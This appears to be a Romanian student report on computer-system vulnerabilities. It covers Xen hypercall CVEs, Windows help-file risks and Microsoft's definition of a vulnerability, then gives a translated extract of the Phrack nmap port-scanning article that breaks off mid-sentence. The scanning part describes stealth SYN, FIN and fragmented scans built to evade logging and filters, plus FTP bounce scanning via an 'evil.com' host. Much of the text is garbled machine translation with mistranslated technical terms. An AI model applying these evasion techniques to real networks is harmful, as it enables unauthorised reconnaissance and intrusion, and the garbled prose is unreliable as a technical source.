Vulnerabilitatile Sistemelor Informatice
Cuprins
Introducere
Mediile virtualizate devin tot mai omniprezent cu o crestere a proliferarii de centre de date virtualizate și în mediile de tip cloud. Cu toate acestea, probleme de securitate sunt încă una dintre cele mai mari showstoppers pentru adoptarea de soluții de calcul de tip cloud larg . Atacatorii sunt activ de explorarea specifică pentru virtualizare de atac suprafețe, precum hipervizoare încorporate. Atacuri de orientare hipervizoare încorporate sunt de violență puternică deoarece acestea pot duce la gafele de hipervizoare încorporate, inclusiv toate guest VMs (mașini virtuale) pornit pe partea superioară a acestora sau în modificarea memoria hipervizoare. Un fisier malware guest VM utilizator poate executa un atac impotriva hypercalls hipervizor de garantare prin care sunt software de la un nucleu de capcane a complet sau parțial paravirtualizat guest VM la nivelul hipervizorului. Hypercalls permite intrusion în hipervizoare vulnerabile inițiată de un fisier malware guest VM kernel. Cum Rutkowska et al. demonstra, exploatarea o vulnerabilitate a unui hypercall manipulatorul (adică o vulnerabilitate hypercall) poate duce la modificarea de memoria hipervizor tinta, care permite, de exemplu, executarea de cod malitios cu privilegiul de hipervizor. Data fiind gravitatea de atacuri de declanșare hypercall vulnerabilități, caracterizarea riscului de atac hypercall suprafața este o prioritate deoarece este crucială pentru o mai bună înțelegere a amenințărilor de securitate generate de hypercall interfețe. Lipsa de o astfel de înțelegere împiedică semnificativ de avansuri spre monitorizarea și asigurarea aceste interfețe. În profunzime informații tehnice privind hypercall vulnerabilități este o cerință pentru care caracterizează hypercall suprafața de atac. Cu toate acestea, astfel de informații este în prezent foarte limitat. Rapoartele de vulnerabilitate a dezvaluit care descrie hypercall vulnerabilități (de ex., CVE CVE-2013-4494,-2013-3898) sunt de obicei de singura sursă de informații și a oferi numai de nivel înalt de descrieri. De asemenea nu exista informatii publice privind atacurile de declanșare accidentală hypercall vulnerabilități efectuată în practică. Scopul acestei activități este de a oferi informații tehnice privind hypercall vulnerabilități necesare pentru imbunatatirea conditiilor de securitate de interfețe hypercall (de exemplu, informații despre erori care a provocat vulnerabilități și modul de vulnerabilități poate fi declanșat). În acest scop, am analizat toate dezvaluit hypercall vulnerabilități care am găsit prin căutarea CVE majore (Comun vulnerabilitate și expuneri) raport (de ex., cvedetails bazele de date) pe baza relevante cuvinte, cum ar fi numele de operații de hypercalls. Aceste vulnerabilități sunt reprezentative pentru vulnerabilități care am analizat în termeni de erorile le provoca și modul în care acestea pot fi declanșat. Vulnerabilitatile considerate în acest lucru sunt de la Xen , care are cea mai largă interfață hypercall spre deosebire de alte hipervizoare încorporate, precum KVM. A considerat vulnerabilități sunt în scutieri de memorie hypercalls op, gnttab op, setați debugreg, physdev op și freză mmuext abordarea noastră pentru analizarea o vulnerabilitate hypercall consta din urmatoarele etape: (i) analiza CVE raport de vulnerabilitate și alte surse de informații relevante, de exemplu, instrucțiuni de securitate; (ii) inginerie inversă a eliberat patch de stabilire a vulnerabilitate și dezvoltarea de cod pentru declanșarea de vulnerabilitatea. Pentru fiecare considerat vulnerabilitate, putem oferi informații de fond esențiale pentru înțelegerea vulnerabilitate și informații despre vulnerabil hypercall manipulatorul (adică, informații despre fluxul de lucru, și datele de intrare și de ieșire a manipulatorului) și eroare cauzând vulnerabilitatea. Am sa arat cum de vulnerabilitatea poate fi declanșat și discuta statului de hipervizor orientate după vulnerabilitatea a fost declanșat. Subliniem ca putem oferi informații despre un vulnerabil hypercall manipulatorul în măsura în care este relevant pentru înțelegerea o vulnerabilitate, de exemplu, noi vom discuta numai unii parametri de intrare a manipulatorului. Avem de asemenea subliniază că noi nu ne oferă dovada de cod de conceptul de declanșare a considerat vulnerabilități gata de utilizare. Am prezent numai hypercalls efectuată ca parte a unui atac de declanșare accidentală a dat hypercall vulnerabilitate și valorile parametrilor hypercall relevante (adică, parametri de identificare a executat hypercalls și, unde este cazul, parametri cu valori manual în mod specific pentru declanșarea de vulnerabilitatea). În cele din urmă, ne subliniază că nu ne demonstreaza vulnerabilitatea exploatarea unde este posibil (de ex., cod malware executarea). Ne vom concentra în loc de erori care cauzează considerate vulnerabilități, activitatile pentru declanșarea lor și efectele de declanșare a vulnerabilităților pe membru de hipervizori vulnerabile. Am argumentat că informațiile pe care le oferim este relevant pentru o mai bună înțelegere a amenințărilor de securitate ca interfetele hypercall poza, care vă va ajuta să se concentreze abordări pentru îmbunătățirea securității hipervizoare încorporate.
Sistemele de operare Microsoft Windows, până la Windows 8 au avut în total patru sisteme de asistență. Primul a fost eliberat odata cu Windows 3x si a fost intitulat WinHelp și conține un fișier numit de asociere HLP. Practic este un set de documente RTF cu tipuri de formatare speciala, imagini bitmap toate compilate într-un fișier binar (.HLP) avand posibilitatea de a rula macro automat. Aceasta include, salt cuprins asistență, afișaj open file dialog, executa programe cu parametri , fișierele deschise și executați funcțiile DLL. Există versiuni de WinHelp de 16 și 32 de biți. 16 de biti .HLP fișierele trebuie deschise in winhelp.exe cererea și 32 de biti HLP fișierele trebuie deschise in Winhlp32.exe cererea. Suport nativ pentru acest sistem de asistență încheiat pe Windows XP și 2003. Pe Windows Vista și mai sus doar 16 biti HLP fișierele pot fi deschise, in Winhelp.exe cerere.
Al doilea a fost eliberat cu Internet Explorer 4, și încorporate în Windows 98, intitulat HTML Help si este un set de documente HTML, a cuprins file (opțional) și un fișier index (opțional) toate compilate într-un fișier binar cu CHM prelungire. Acesta vine cu un control ActiveX care pot fi încorporate în Internet Explorer. Ea are capacitatea de a rula programe cu parametri prin ť oeShortcutâ parametru al ActiveX, deschideți HLP arbitrare WinHelp Project Conversion (.) fișierele de pe calculatorul local sau SMB și folder WebDAV actiuni, prin ť oewinhelpâ parametru al controlului ActiveX și injectați script cod în paginile de arbitrare atunci când utilizatorul selectează un cuprins subiectul care are o oeJavascript: URL protocol. Aceasta se numește cross domain scripting (Microsoft, 2015).
Al treilea, încorporate în Windows XP și 2003 este Help și centru de suport. Este o combinație între elaborate basicly fisiere HTML (.CHM) , autonome de fisiere HTML și speciale de fișiere XML pentru a utiliza în fereastra de definiție. Fișierele HTML autonom sunt numite prin protocolul URL sale interne, numita HCP:. Acest URL protocol este de asemenea înregistrată pentru Help și suport (helpctr bancnotelor au acces.exe). Fișiere invocate de acest URL protocol sunt tratate ca cererile de HTML și au capacitatea de a script de inițializare și controalele ActiveX arbitrare. Acesta are un aspect frumos în comparație cu classic HTML Help.
A patra este oficial de noul sistem de ajutor după HTML ajuta si a inceput transport cu Windows Vista. Este de asemenea HTML pe baza, dar fișierele HTML sunt compilate într-un format binar (.H1S) fișier cu ajutorul Windows pe fișier și acestea sunt invocate de OEM-HELP: *URL protocol interne* Acestea sunt afișate în ť (helppane Help Pane.exe) fereastra. Nu există fișier sau URL protocol înregistrat pentru acest sistem de ajutor. Acesta este utilizat de Windows nativ aplicații și terți furnizori fișierele locale.
Deoarece aceste tipuri de fișiere și HCP: URL protocol, sunt de design, capabil de a rula cod arbitrar pe un sistem, ceva care ocolește de mecanismele de securitate ale sistemului de operare, care implică ei este considerată o vulnerabilitate. Extensile .HLP si .CHM sunt în lista neagră de fișiere de Microsoft.
I.Vulnerabilitatile sistemelor informatice
I.1. Vulnerabilitatiile
Ce e o vulnerabilitate de securitate? Majoritatea oamenilor cred ca aceasta ar fi o întrebare simplă, dar de fapt se dovedește a nu fi. Voi discuta definiția utilizată de către Centrul de răspuns de securitate de la Microsoft (MSRC) să categorisească Varietatea de probleme am examina în fiecare zi.
Acesta nu poate fi evident la prima de ce merită consacra mai multe pagini pentru a discuta la sensul. După toate, este posibil să căutați atât "siguranta" și "vulnerabilitatea" în dicționar și veni la intelegerea a ceea ce inseamna. În acest fel, veți putea conchide ca o vulnerabilitate de securitate este ceva care oferă un potențial avenue de atac impotriva unui sistem, inclusiv lucruri ca malware, sistemele de configurat incorect, parole scris pe plăcuțele de lipicios, și așa mai departe. E adevarat ca probleme ca acestea sa creasca riscul de a unui sistem. Totuși, aceasta este cumva o conotatie mai larg decât ce este utilizat în general în cadrul comunității de securitate și cum am aprecia problemelor MSRC.
Pentru contextul utilizate în industria de securitate software și în MSRC, o vulnerabilitate este o expunere de securitate care rezultă de la un produs de slabiciune ca produsul developer nu intenționează să introducă și să fixeze o dată este descoperit. Aceasta dă termenul de relevanță pentru MSRC speciale, a carui misiune este de a găsi astfel de slabiciuni ori de câte ori acestea există în produsele Microsoft și să le corecteze. Această definiție a discutat problemele care pot ajuta la identificarea și trebuie să fie fixate. Acest articol vă va ajuta să înțelegeți ce tipuri de probleme sunt în general adresate de anunțuri de securitate.
Punerea definitiei intr-un context
Este important să se înțeleagă că definiția nu este vorba de un cuvânt final emite mandate de un buletin de securitate – în schimb, este primul cuvânt. Ori de câte ori MSRC primește un raport de o potențială problemă de securitate, o ancheta este început. Dacă problema nu poate fi reprodusă, următoarele două sunt puse întrebări pentru a determina dacă este nevoie de un buletin.
Problema satisface definitia de vulnerabilitate de securitate?
Nu incalca de politica de securitate a produsului, sensul se sparge – perimetru de securitate" de produs?
Cred ca de vulnerabilitate de securitate ca o definiție inițială a filtrului, aplicat la toate problemele. Dacă o anumită problemă de securitate nu satisface definitia de vulnerabilitate de securitate, este puțin probabil că ar justifica un buletin de securitate. Aceasta nu înseamnă că nu va lua orice acțiune deși. De exemplu, dacă o anchetă arată că există un bug dar nu o vulnerabilitate de securitate, MSRC funcționează cu echipa de produs pentru a o fixa, dar fixa ar fi livrate ca parte a unui pachet de service sau versiunea viitoare de produs mai degrabă decât prin actualizare de securitate și un buletin.
Dacă problema îndeplinește definiția de vulnerabilitate, următoarea întrebare este dacă ea incalca limitele de securitate a produsului. Fiecare produs are un set de presupuneri despre cum va fi utilizat si un set de promisiuni face despre securitatea furnizate atunci când e utilizat corect. De exemplu, Utilizator Control de acces (UAC) este o tehnologie introdusa cu Windows Vista care oferă o metodă de separare a sarcinilor și de privilegii de utilizator standard de cele care necesită drepturi de acces de administrator. Dacă un utilizator Standard este cu ajutorul sistemul sistemului și încercări de a efectua o acțiune pentru care utilizatorul are autorizatie, o solicitare de la Windows apare și cere contul de Administrator parolă a. Dacă un administrator este folosind sistemul și încearcă să facă aceeași sarcină, nu există decât un indicator prompt. Acest mesaj este cunoscut ca "Acordul prompta" deoarece administratorul este cerut doar pentru a conveni la acțiune înainte de a continua. O slabiciune care ar permite de a ocoli "Acordul prompta" nu este considerată o vulnerabilitate de securitate, deoarece nu este considerat un perimetru de securitate.
Un punct final înainte de a discuta definiție de vulnerabilitate: nu este conceput ca un document legal. Obiectivul principal în dezvoltarea ei a fost de a face o simplu de înțeles și, chiar dacă procedând astfel însemna că există câteva zone gri. Ca rezultat, aici sunt unele declinări.
Definitia nu este o garanție; este un instrument care vă ajută să evalueze dacă MSRC ar trebui să o problema prin adresa de actualizare de securitate. In final, decizia despre problemele care justifica hotararea este un apel de buletine, pe baza să oferim clienților cea mai bună protecție putem. Primire anunțuri uneori sunt dezvoltate pentru probleme, strict vorbind, în afara definiției. De asemenea, este posibil ca un special ar satisface definiția strictă dar apar doar în astfel de condiții rare ca clientii ar putea fi mai bine servite dacă ne-am concentrat resursele de pe celelalte,, și mai mult mai larg de probleme cu impact.
Definitia nu este un Microsoft Corporate standard. E o definiție informale ca MSRC utilizează pentru a prioritiza munca. Nu este o cerință de logo sau o parte din orice alte corporate standard.
Definiție
Acum, aici e definitia de vulnerabilitate de securitate.
O vulnerabilitate de securitate este o slabiciune de un produs care ar putea permite unui atacator de a compromite integritatea, disponibilitatea sau confidentialitatea ca produs.
Acum hai să disece cadavrele exact ce definirea înseamnă. În discuția care urmează, frazele critice și cuvinte sunt enumerate de la definirea, definite precis, și explicate cu exemple cu cum definirea ar putea fi aplicată din viata reala de cazuri.
… O slabiciune de un produs…
Slăbiciune: vulnerabilități de securitate implica slabiciunile accidentală; de-design slăbiciunile poate uneori apar în un produs, însă acestea nu sunt vulnerabilități de securitate.
Exemple: Alegerea de a pune un 40-bit enigma de un produs nu ar constitui o vulnerabilitate de securitate, chiar dacă protecția oferă ar fi inadecvate pentru anumite scopuri. În contrast, o implementare eroare care a cauzat o greșeală cifru 256 biți să aruncați jumătate de biți în cheie ar fi o vulnerabilitate de securitate.
Produs: vulnerabilități de securitate sunt un rezultat de o problemă de un produs. Problemele care rezulta din aderente la imperfect dar larg acceptate standardele nu vulnerabilități de securitate.
Exemple: Un browser care, la conectarea la un site FTP, efectuează în sesiune în acceptă nu ar fi considerate ca o vulnerabilitate de securitate, deoarece FTP conform specificației apeluri pentru sesiuni acceptă. Totuși, dacă browserul de efectuat în sesiuni SSL acceptă, ar constitui o vulnerabilitate de securitate deoarece ssl conform specificației apeluri pentru sesiuni criptate.
… Care ar putea permite unui atacator de a compromite integritatea…
Integritatea: Integritate se referă la a credibilității o resursă. Un atacator care exploateaza o slabiciune de un produs pentru a o modifica în tăcere și fără autorizația este de a compromite integritatea ca produs.
Exemple: o slabiciune care permite un administrator pentru a modifica drepturile de pe orice fișier de pe un sistem nu ar fi o vulnerabilitate de securitate pentru ca un administrator are deja această capacitate. În contrast, dacă o slăbiciune a permis o neprivilegiata utilizator de a face acelasi lucru, ar constitui o vulnerabilitate de securitate.
…disponibilitatea…
Disponibilitate: Disponibilitatea se referă la posibilitatea de a accesa o resursă. Un atacator care exploateaza o slabiciune de un produs, refuza accesul utilizatorului, este de a compromite disponibilitatea produsului.
Exemple: o slabiciune care permite unui atacator pentru a provoca un server pentru a eșua ar constitui o vulnerabilitate de securitate, deoarece atacatorul ar putea reglementa dacă serverul furnizate de service sau nu. Cu toate acestea, faptul ca un atacator poate trimite un număr foarte mare de cereri legitime la un server și de monopolizare a resurselor sale nu ar constitui o vulnerabilitate de securitate, atât timp cât operatorul de server încă ar putea controla computerul.
…confidentialitatea…
Confidențialitate: Confidențialitatea se referă la limitarea accesului la informații despre o resursă pentru a autorizat de oameni. Un atacator care exploateaza o slabiciune de un produs pentru a accesa informații este de a compromite confidențialitatea ca produs.
Exemple: o slabiciune la un site web care permite un vizitator pentru a citi un fișier care nu trebuie să fie citite ar constitui o vulnerabilitate de securitate. Totuși, o slabiciune care a dezvaluit locația fizică a unui fișier nu ar constitui o vulnerabilitate – desi o astfel de slabiciune ar putea fi util pentru scopuri de recunoastere si va putea fi folosit împreună cu o bona fide vulnerabilitate la fișierele de compromis, nu ar de sine permite unui atacator sa compromita datele, și astfel nu ar constitui o vulnerabilitate de securitate. (merita observând totuși că Microsoft, de ocazie, a ales să dezvolte patch-uri în astfel de cazuri oricum).
După cum puteți vedea, integritatea, disponibilitatea și confidențialitatea sunt cele trei obiective principale pentru securitate. Dacă una sau mai multe dintre aceste trei elemente lipseste, există o vulnerabilitate de securitate. O singură vulnerabilitate de securitate poate compromite una sau toate aceste elemente în același timp. De exemplu, o vulnerabilitate de divulgare ar compromite confidențialitatea unui produs, în timp ce un cod de la distanță executarea vulnerabilitate ar compromite integritatea, disponibilitate și de confidențialitate.
Definiție în practică
Cum fără îndoială a observat, Există destul spațiu pentru judecată în definiție. În plus față de un bun simt si o dorinta de a proteja clienții noștri, am evaluarea potențialelor vulnerabilități de desen pe ani de practică hotărârea de securitate și o scanare rapidă a listarea security bulletins arată că o destul de extinse de interpretarea definiția este aplicată. Dacă vă gândiți să fi găsit o vulnerabilitate de securitate in un produs Microsoft, vă rugăm report it la Centrul de reacție de securitate de la Microsoft pentru ancheta imediata. Veți primi un răspuns pentru a vă anunța dacă îndeplinește definiția de vulnerabilitate de securitate.
În securitatea calculatorului, termenul de vulnerabilitate este aplicată o slabiciune in un sistem care permite unui atacator de a încălca integritatea sistemului. Vulnerabilități pot rezulta din parolele slabe, software bug-uri, misconfigurations software, un calculator virus sau alte programe malware (software rău intenționate), un script sau o injecție de cod SQL injecție doar la nume de câteva.
Un risc de securitate este clasificat ca vulnerabilitatea dacă este recunoscut ca un mijloc de atac. Un risc de securitate cu una sau mai multe instanțe de cunoscute de lucru și a implementat complet atacuri este clasificat ca un exploit. Construiește în limbaje de programare care sunt dificil de utilizat corect poate fi o sursă de mare de vulnerabilități.
Vulnerabilitatile exista toate timpul dar când Internet era cel etapa timpurie nu era la fel de des utilizate și exploatate. Media nu a raportat nici o stire despre hackeri care se pune in inchisoare pentru "hacking" în servere și a fura informații vitale. Atunci toate nodurile de pe rețea au fost de încredere, fixați protocoale cum ar fi ssh, Storage SCP, SSL nu exista, dar Telnet, FTP și text simplu interexchange HTTP erau utilizate pentru datele sensibile. Cine ar putea gândi despre aurolacii? Otrăvirea ARP? MITM?
Evaluarea de vulnerabilitate poate fi efectuată pe multe obiecte, nu numai sistemele de calculator/rețele. De exemplu clădiri fizice pot fi evaluate astfel încât ar fi clar ce părți ale clădirii au ce fel de fisură. Dacă atacator poate ocoli gardian la ușa față și a obține în clădire prin usa din spate este cu siguranță o vulnerabilitate. Dacă el nu are de fapt ca – este un exploit. Securitatea fizica este una dintre cele mai importante aspecte de luat în considerare. Dacă atacatorii au acces fizic la server – serverul nu este a ta! De ce? Pentru că dacă serverul este furat, atacatorul nu are nevoie să scăpăm de ID-uri, nu este nevoie sa se sustrag IPS, nu au posibilitate de cum pentru a bascula 10T de date, este chiar aici pe server. Criptare de disc completă ar ajuta, dar nu este de uz comun pentru servere. Fiți absolut sigur de a face cu criptare completă (FDE) pe toate laptopurile dvs., cunoscut și criptare de disc (Întregi WDE).
Doar prin menționarea "sistemele dvs./rețele' sunt vulnerabile nu oferă la orice informații utile. Evaluarea de vulnerabilitate fără un raport cuprinzător este destul de mult inutile. Este ușor să utilizați instrumentele automat la rețele de scanare, face rapoarte de pe dispozitivul și trimite, dar care nu ofera mai multa valoare raport poate rula cu ușurință în mii de pagini. Este mult mai bine să faceți top 10 vulnerabilități pe toți și să facă un raport. Vulnerabilitate de raport de evaluare trebuie sa includa:
Identificarea vulnerabilități și sistemele vulnerabile.
Este suficient de a găsi o vulnerabilitate critică și întreaga rețea este la risc, ca dacă o za este rupt în lanț și întregul lanț este rupt:
Vulnerabilitățile trebuie să fie sortate cu severitate și apoi de servere/servicii. Vulnerabilitățile critice trebuie să fie pe partea de sus a raportului și trebuie să fie enumerate în ordine descrescătoare adică critică, apoi ridicată, medie și mică
II. Decoperirea vulnerabilitatiilor unui system informatic
II.1. Scanarea de porturilor
Introducere
De cele mai multe ori este util, chiar necesar, pentru a aduna cât mai multe informații posibil
Despre o țintă de la distanță. Aceasta include învățarea toate lor rețea – punctele de intrare",
Sistemele de operare folosite, metodele de firewall, servicii pornit, etc.
Rețineți că în timp ce desigur că este posibilă portscan cu o mașină de windows, voi
Fie concentrarea pe cu ajutorul unui unix cu anumite utilitare instalate. Acest lucru este datorat
Windows" de lipsa de acces la priza de crud (pre win2K) și de lipsa de decenta, libera, portscanners
Sunt disponibile pentru platforma. În secțiunea următoare voi împărtăși unele indicii utile pe portscanning.
Rețineți că nivelul rădăcină este necesar acces pe unix pentru multe explorări.
Istoric
––––
Prima este eliberat de nmap in 1997 in revista Phrack emite 51, art. 11.
Unele informații:[ Abstract ]
Această hârtie detalii multe dintre tehnicile utilizate pentru a determina ce porturi (sau
Protocol similar prepararii apei) de o gazdă pentru conexiuni de ascultare sunt. Aceste
Porturi reprezintă potențialul canalele de comunicare. Existenta lor de cartografiere
Facilitează schimbul de informații cu gazda, și astfel este destul de
Util pentru oricine dorește să explorați lor de mediu de rețea, inclusiv
Hackerii. In ciuda a ceea ce ați auzit de la media, de Internet nu este de
Toate despre portul TCP 80. Oricine care se bazează exclusiv pe WWW pentru
Colectarea de informații este posibil pentru a avea același nivel de competență ca
AOLer medie, care nu are aceeași. Această hârtie este de asemenea menita sa serveasca drept
Introducere și documentația pentru o codificare auxiliare proiectului I au fost
Lucrul la. Acesta este un complet cu scaner robust port care (sper) rezolvă
Unele dintre problemele am întâlnit de tratare în alte scanere și
Când lucrați la rețele masive de scanare. Testerul, nmap, acceptă următoarele:
– vanilie TCP conectați(), de scanare
– TCP SYN (pe jumătate deschis), de scanare
– TCP FIN (furt), de scanare
– proxy ftp TCP (deviate de atac) scanare
– SYN/FIN scanarea utilizând fragmente de IP (ocolește filtrele de pachete),
– UDP recvfrom(), de scanare
– UDP port ICMP unreachable scanare brut,
– Scanare ICMP (ping-baleiere), și
– de mers înapoi-ident de scanare.
La distribuibil cod sursă este anexată la această hârtie.
[ Prefață ]
Scanare, ca o metoda pentru descoperirea exploatabile de canalele de comunicare, are
Fost în jurul de secole. Ideea este de a sonda cât de multe ascultătorilor posibil, și
Țineți evidența celor care sunt receptivi sau utile pentru a vă special nevoie.
De mult a câmpului de publicitate este bazată pe această paradigma, și "curente.
Rezident" stilul de forță brută de bulk mail este o aproape perfect paralelă cu ce
Vom discuta. Stick de doar un mesaj în fiecare căsuță poștală și așteptați
Răspunsurile la firicel înapoi.
Scanarea a introdus h/p lume împreună cu sistemele de telefonie. Aici avem această
Rețeaua de telecomunicații globale extraordinară, toate poate fi contactat prin coduri de pe
Telefonul nostru. Milioane de numere sunt accesibile la nivel local, dar poate numai
Fi interesat de 0,5% din aceste numere, probabil cele care răspunde cu un
Transportator.
Soluție de logică de diagnosticare numerele care ne interes cele este să le încercați
Toate. Astfel domeniul "wardialing" au aparut. O excelentă de programe precum Toneloc
Au fost dezvoltate pentru a facilita cercetezi de schimburi și mai mult. intreaga A
Ideea de bază este simplă. Dacă formați un număr și modemul dumneavoastră vă oferă o conectare,
Înregistrați-l. În caz contrar, calculatorul se închide și lipsa de efort de apelări rapide de următorul
Unul.
În timp ce wardialing este încă util, suntem acum de diagnosticare ca multe dintre calculatoare
Dorim să comunice cu sunt conectate prin rețele precum Internet
Mai degrabă decât dialups telefon analogic. Scanarea aceste mașini implică același
Tehnica de forță brută. Putem trimite un viscol de pachete pentru diverse protocoale,
Și am deduce serviciile care sunt asculta din răspunsurile vom primi (sau
Nu primiți).
Tehnicile
In timp, o serie de tehnici au fost dezvoltate pentru înfruntarea
Protocoalele si porturile pe care o țintă a mașinii este ascultare. Acestea oferă toate
Diferite beneficii și probleme. Aici este o linie de cele mai comune:
– TCP conectați() scanarea : Aceasta este cea mai de bază sub forma de scanare TCP. A
Branșați() apel de sistem oferite de sistemul de operare este utilizat pentru a deschide un
Conexiunea la fiecare port de interesant pe mașină. Dacă portul este ascultarea,
Branșați() va reuși, în caz contrar la port nu este accesibil. Unul strong
Avantaj pentru această tehnică este că nu aveți nevoie de orice drepturi speciale. Orice
Utilizator de pe casetele UNIX este liber să utilizeze acest apel. Un alt avantaj este viteza.
În timp ce face o separa conectați() apel pentru fiecare port de tinta linear
Moda ar lua vârstele peste o conexiune lentă, puteți să grăbească de scanare
Cu ajutorul multe prize în paralel. Cu ajutorul fără blocare I/O vă permite să setați o mică
Perioada de timp și urmăriți toate prizele de la o data. Aceasta este cea mai rapidă
Metoda de scanare acceptate de nmap, și este disponibil cu -t (TCP) opțiunea.
Marele dezavantaj este ca acest fel de scanare este și ușor de detectat filterable.
Ținta de gazde va arăta un mănunchi jurnale de conexiune și mesajele de eroare pentru
Serviciile care lua legătura și apoi au o imediat de oprire.
– scanarea TCP SYN : Aceasta tehnica este adesea "jumătate deschisă"
Scanare, deoarece nu deschide o conexiune TCP complet. Trimiteți un pachet SYN,
Cum dacă veți deschide o conexiune de real și așteptați un răspuns. O
SYN|ACK indică port este de ascultare. Un RST este orientativă a unui non-
Ascultător. Dacă un SYN|ACK este primit, trimite imediat un RST să rupă
Conexiunea (de fapt kernel pentru noi). Avantajul principal
La aceasta tehnica de scanare este că mai puține situri vor log-l. Din păcate veți
Nevoie de privilegii root pentru a construi aceste pachete SYN personalizate. Scanarea SYN este -s
Opțiunea de nmap.
– TCP FIN scanarea : Există momente când chiar SYN nu este de scanare clandestine
Suficient. Unele sisteme de securitate și filtrele de pachete ceas pentru portul nepermisă a unei SYNs,
Și programe precum synlogger și Courtney sunt disponibile pentru a detecta aceste explorări.
Pachetele de FIN, pe de alta parte, poate fi capabil să treacă prin nevatamat. Acest
Tehnica de scanare a fost recomandate în detaliu de către Uriel Maimon în Phrack 49, art.
15. Ideea este că porturile închise tind să vă răspunde la pachet FIN cu
Buna RST. Porturi deschise, pe de alta parte, au tendința de a ignora pachetul in
Cauză. Acesta este un bug în implementările TCP si astfel nu este 100% fiabilă
(unele sisteme, îndeosebi Micro$oft cutii, par a fi imuni). Acesta funcționează bine pe
Cele mai multe alte sisteme am incercat. Scanare FIN este -U (opțiunea de nmap Uriel).
– scanare de fragmentare : Aceasta nu este o noua metoda de scanare în și de sine,
Dar o modificare a altor tehnici. În loc de a trimite doar sonda
Pachet, o incalci în câteva mici fragmente de IP. Esti capra de separare
Până antetul TCP pe mai multe pachete pentru a o face mai greu pentru filtrele de pachete
Etc. pentru a detecta ce faceti. Aveți grijă cu această! Unele
Programele au necazuri manipularea aceste pachete de minuscule. Interceptorului mele preferate
Identificatorul de segmentare imediat după primirea primei 36-byte fragment.
După care vine o 24 byte unul! În timp ce această metodă nu ajunge prin filtrele de pachete
Și de tip firewall ca coadă toate fragmentele IP (ca CONFIG_IP_mereu_DEFRAG
Opțiune în Linux), o mulțime de rețele nu isi poate permite performanța de lovit acest
Cauze. Această caracteristică este mai degrabă unic pentru scannere (cel puțin nu am văzut
Orice alte persoane care face acest lucru). Mulțumită daemon9 sugera asta. -f
Instruiesc specificate SYN sau FIN scan pentru utilizare pachete fragmentate minuscule.
– TCP înapoi scanare ident : De remarcat prin Dave Aurar în 1996 Bugtraq
Post, ident protocol (RFC1413) permite dezvăluirea de numele de utilizator de
Proprietarul orice proces conectat prin intermediul TCP, chiar dacă acest proces nu
Iniția conexiunea. Astfel încât să puteți, de exemplu, conectați la portul de http
Și apoi utilizați identd pentru a afla dacă serverul este pornit ca root. Acest
Poate fi făcută numai cu o conexiune TCP la portul țintă (adică -t
Opțiune). nmap e -i interogări de opțiunea identd pentru proprietarul tuturor asculta()ing
Porturi.
– FTP bounce atac : Un interesant – caracteristică" din protocolul ftp (RFC 959) este
Suport pentru conexiuni ftp "proxy". Cu alte cuvinte, trebuie sa
Conectați de evil.com la serverul de FTP-PI (protocol interpret) de target.com
Pentru a stabili legătura de comunicație de control. Apoi trebuie sa
Solicita ca server-PI iniția activ un server-DTP (transfer de date
Proces) pentru a trimite un fișier de oriunde de pe internet! Probabil pentru un user-DTP,
Deși RFC prevede în mod specific că cere un server pentru a trimite un fișier la
Un alt este OK. Acum acest lucru poate au lucrat bine în 1985 când RFC era doar
Scrise. Dar azi, nu putem avea oameni piratarea rețelelor servere ftp și
Solicita ca datele să fie scuipat afară la punctele de arbitrare pe internet. Cum
*Hobbit* a scris în 1995, acest protocol fisura – poate fi utilizat pentru a posta practic
Neplata mail și știri, bronz pe servere la diverse site-uri, umplerea, discurile de însămânțare
Încercați să hop firewall-uri, și în general fi incomode si greu de pin la
Acelasi timp." Ce ne va exploata acest pentru este de a (Surprize-surprize) scanare TCP
Porturi de la un server de FTP "proxy". Astfel veți putea conecta la un server de FTP
Un firewall, și apoi scanați porturile care sunt susceptibile de a fi blocat (139
Este un bun unul). Dacă serverul de ftp permite citirea din și scris la o
Director (cum ar fi /intrare), puteți trimite datele la porturi ca arbitrare nu
Găsiți deschis.
Pentru scanare port, tehnica noastră este de a utiliza portul comanda de a declara ca
"pasiv nostru user-DTP" asculta pe caseta țintă la un numar de port.
Apoi vom încerca să lista directorul curent și rezultatul este trimis peste
Server-DTP canal. Dacă ținta noastră gazdă este urechea specificate port,
Transfer va fi de succes (generează un 150 și un 226 răspuns). În caz contrar
Ne vom si "425 nu pot construi conexiunea de date: Conexiune refuzat." Apoi am
Emite un alt port pentru a încerca următorul port de pe țintă gazdă. A
Avantaje pentru această abordare sunt evidente (mai greu de urmărire, potențialul de bypass
Paravanele). Principalele dezavantaje sunt că este lentă și că unele FTP
Servere au primit în sfârșit un indiciu și dezactivată caracteristica "proxy". Pentru ceea ce este
Merită, aici este o listă de bannere din locuri unde nu/nu funcționează:
*Bounce atacuri lucrate:*
220 xxxxxxx.com FTP server (Versiunea wu-2.4(3) Miercuri Dec 14 …) gata.
220 xxx.xxx.xxx.edu FTP Server Ready.
220 xx.Telcom.XXXX.EDU FTP server (Versiunea wu-2.4(3) Tue Jun 11 …) gata.
220 server FTP (SunOS lem 4.1) gata.
220 XXX.XXX.es (versiune de server FTP wu-2.4(11) Se aseza Apr 27 …) gata.
220 elios SunOS FTP server (4.1) gata
*Deviate de atac a eșuat:*
220 wcarchive.cdrom.com FTP server (Versiunea DG-2.0.39 Soarele poate 4 …) gata.
220 XXX.xx.xxxxx.EDU Versiunea wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (versiunea 3.0).
220 xxx server FTP (Versiunea wu-2.4.2-academ[BETA-11](1) Tue Sep 3 …) gata.
220 xxx.unc.edu FTP server (Versiunea wu-2.4.2-academ[BETA-13](6) …) gata.
"X-sunt parțial acolo pentru a proteja cei vinovati de pornit o trunchiate server,
Dar mai ales doar pentru a face liniile montați în 80 de coloane. Acelasi lucru cu
Ellipse puncte. Direcționare de atac este disponibilă cu -b <Server>_proxy
Opțiunea de nmap. serverul proxy_pot fi specificate în standardul formatului URL,
Username Parola@server::port , cu totul dar fiind opțională de server.
– portul UDP ICMP unreachable scanarea : Această metodă de scanare variază de la
De mai sus în care suntem cu ajutorul protocolului UDP în loc de TCP. În timp ce această
Protocolul este mai simplă, scanarea este de fapt semnificativ mai dificil.
Aceasta deoarece porturile deschise nu trimite o confirmare ca răspuns la
Sonda noastre, și închise porturi sunt necesare nici macar pentru a trimite un pachet de eroare.
Din fericire, de cele mai multe gazde nu trimite un mesaj ICMP_Port_UNREACH eroare atunci când trimiteți un
Pachet la o închise portul UDP. Astfel puteți afla dacă un port nu este deschis, și
Prin excluderea determina care porturile care sunt. Nici pachete UDP, nici
